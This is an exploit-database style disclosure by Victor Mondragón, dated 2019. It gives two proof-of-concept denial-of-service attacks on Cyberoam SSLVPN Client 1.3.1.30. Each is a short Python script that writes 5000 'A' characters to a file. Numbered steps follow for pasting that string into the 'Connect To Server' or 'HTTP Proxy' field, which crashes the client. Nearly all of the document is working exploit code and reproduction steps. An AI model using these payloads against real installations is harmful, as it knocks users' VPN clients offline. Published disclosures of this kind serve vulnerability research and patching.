Cyberoam SSLVPN Client 1.3.1.30 Connect To Server / HTTP Proxy Denial Of Service

`#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-23  
#Vendor Homepage: https://www.cyberoam.com  
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip  
#Tested Version: 1.3.1.30  
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64  
  
#Steps to produce the crash:  
#1.- Run python code: c_sslvpn_cts.py  
#2.- Open c_sslvpn_cts.txt and copy content to clipboard  
#3.- Open Cyberoam SSLVPN Client  
#4.- Select Server Settings   
#5.- In "Connect To Server" field paste Clipboard  
#6.- In "Port" type 80  
#7.- Select "OK"  
#8.- Crashed!   
  
cod = "\x41" * 5000  
  
f = open('c_sslvpn_cts.txt', 'w')  
f.write(cod)  
f.close()  
  
  
#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-23  
#Vendor Homepage: https://www.cyberoam.com  
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip  
#Tested Version: 1.3.1.30  
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64  
  
#Steps to produce the crash:  
#1.- Run python code: c_sslvpn_http.py  
#2.- Open c_sslvpn_http.txt and copy content to clipboard  
#3.- Open Cyberoam SSLVPN Client  
#4.- Select Proxy Settings > Enable "Manual Configuration"  
#5.- In "HTTP Proxy" address field paste Clipboard  
#6.- In "Port" type 80  
#7.- Select "OK"  
#8.- Crashed!   
  
cod = "\x41" * 5000  
  
f = open('c_sslvpn_http.txt', 'w')  
f.write(cod)  
f.close()  
`